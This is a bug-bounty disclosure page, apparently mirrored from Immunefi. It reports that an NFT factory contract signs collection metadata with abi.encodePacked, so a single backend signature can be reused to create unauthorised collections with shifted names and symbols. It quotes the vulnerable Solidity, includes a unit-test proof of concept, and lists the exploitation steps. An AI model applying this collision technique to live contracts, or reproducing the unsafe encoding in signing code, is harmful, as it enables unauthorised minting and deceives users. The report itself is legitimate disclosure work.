Skip to content
Crypto Audit finding Intermediate

Users can create unauthorized accesstoken collections by exploiting abi encodepacked collision

The contract used abi.encodePacked to hash access token metadata containing multiple dynamic strings, allowing different name and symbol pairs to produce the same hash. An attacker could reuse a valid backend signature to create an unauthorised NFT collection with altered metadata.

brivan Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

56814 sc medium users can create unauthorized accesstoken collections by exploiting abi encodepacked collision

Submitted on Oct 20th 2025 at 21:35:01 UTC by @brivan for Audit Comp | Belong

Description

Brief

Due to the unsafe use of abi.encodePacked when signing access token metadata, users can reuse a valid signature to create unauthorized NFT collections with different names and symbols.

Vulnerability Details

Users can call the factory’s produce function to create a new access token collection. A valid backend signature must authorize the collection’s metadata:

Solidity
function produce(AccessTokenInfo memory accessTokenInfo, bytes32 referralCode) external returns (address nftAddress){
    FactoryParameters memory factoryParameters = _nftFactoryParameters;

    factoryParameters.signerAddress.checkAccessTokenInfo(accessTokenInfo);

    bytes32 hashedSalt = _metadataHash(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol);

    require(getNftInstanceInfo[hashedSalt].nftAddress == address(0), TokenAlreadyExists());
}

The accessTokenInfo is verified using the following function:

Solidity
function checkAccessTokenInfo(address signer, AccessTokenInfo memory accessTokenInfo) external view {
    require(
        bytes(accessTokenInfo.metadata.name).length > 0 && bytes(accessTokenInfo.metadata.symbol).length > 0,
        EmptyMetadata(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol)
    );

    require(
        signer.isValidSignatureNow(
            keccak256(
                abi.encodePacked(
                    accessTokenInfo.metadata.name,
                    accessTokenInfo.metadata.symbol,
                    accessTokenInfo.contractURI,
                    accessTokenInfo.feeNumerator,
                    block.chainid
                 )
            ),
            accessTokenInfo.signature
        ),
        InvalidSignature()
    );
}

The issue lies in the use of abi.encodePacked, which causes collision risks when encoding multiple dynamic types (name, symbol, and contractURI). Different concatenations of these fields can result in identical encoded outputs.

As a result, a valid signature authorizing an access token with specific metadata can be reused to create another collection with entirely different values. For example, a signature that authorizes the creation of collection with name USD Coin and symbol USDC can be used to create a collection with name USD and symbol CoinUSDC because:

abi.encodePacked("USD Coin", "USDC") == abi.encodePacked("USD ", "CoinUSDC")

This behavior is confirmed in the provided PoC.

Impact Details

This issue allows users to use signer's signature to create new access token collections that were not authorized by the signer. This clearly violates two critical impacts listed in the program:

  • Unauthorized minting of NFTs
  • Unintended alteration of what the NFT represents (e.g. token URI, payload, artistic content)

Proof of Concept

Proof of Concept (unit test)

Copy and paste the following unit test in /test/v2/platform/factory.test.ts, inside the Deploy AccessToken describe:

JavaScript
describe('Deploy AccessToken', () => {
    // ... 
    it('PoC', async () => {
      const { signatureVerifier, factory, validator, alice, signer } = await loadFixture(fixture);

      const nftName = 'AccessToken 1';
      const nftSymbol = 'AT1';
      const contractURI = 'contractURI/AccessToken123';
      const price = ethers.utils.parseEther('0.05');
      const feeNumerator = 500;

      const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
      const signature = EthCrypto.sign(signer.privateKey, message);
      const info: AccessTokenInfoStruct = {
        metadata: { name: nftName, symbol: nftSymbol },
        contractURI: contractURI,
        paymentToken: NATIVE_CURRENCY_ADDRESS,
        mintPrice: price,
        whitelistMintPrice: price,
        transferable: true,
        maxTotalSupply: BigNumber.from('1000'),
        feeNumerator,
        collectionExpire: BigNumber.from('86400'),
        signature: signature,
      };

      const tx = await factory.connect(alice).produce(info, ethers.constants.HashZero);

      await expect(tx).to.emit(factory, 'AccessTokenCreated');
      const nftInstanceInfo = await factory.nftInstanceInfo(nftName, nftSymbol);
      expect(nftInstanceInfo.nftAddress).to.not.be.equal(ZERO_ADDRESS);

      let secondInfo = info;

      secondInfo.metadata.name = "Access" // @audit notice modified name
      secondInfo.metadata.symbol = "Token 1AT1" // @audit notice modified symbol
      const tx2 = await factory.connect(alice).produce(info, ethers.constants.HashZero);
       await expect(tx2).to.emit(factory, 'AccessTokenCreated');
      const nftInstanceInfo2 = await factory.nftInstanceInfo("Access", "Token 1AT1");
      expect(nftInstanceInfo2.nftAddress).to.not.be.equal(ZERO_ADDRESS);
    });

})

(End of report)

The original report as published on Immunefi, by brivan. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the use of abi.encodePacked to hash multiple dynamic string fields without length prefixes or separators, causing hash collisions between different field boundaries.

Impact

An attacker could create NFT collections that were not authorised by the signer, leading to unauthorised minting and unintended alteration of what the NFT represents.

What the attacker needed

A valid backend signature for some collection; ability to call the factory produce function

How it was found

  1. Obtain a valid backend signature for a collection with a chosen name and symbol.
  2. Call the factory's produce function with that signature and metadata.
  3. Modify the name and symbol so their packed concatenation matches the original.
  4. Call produce again with the modified metadata and the same signature.
  5. Observe that a second collection is created with the altered name and symbol.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When data is packed together without separators, different pieces can slide into each other and look identical. Here the collection name and symbol were joined that way, so a signature meant for one name and symbol could be reused for a different pair that produced the same joined string. That let someone create a collection the signer never approved.

What is Crypto?

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.

More by brivan

View all

1 more disclosed report, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cryptographic weaknesses

The lesson behind this report.

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.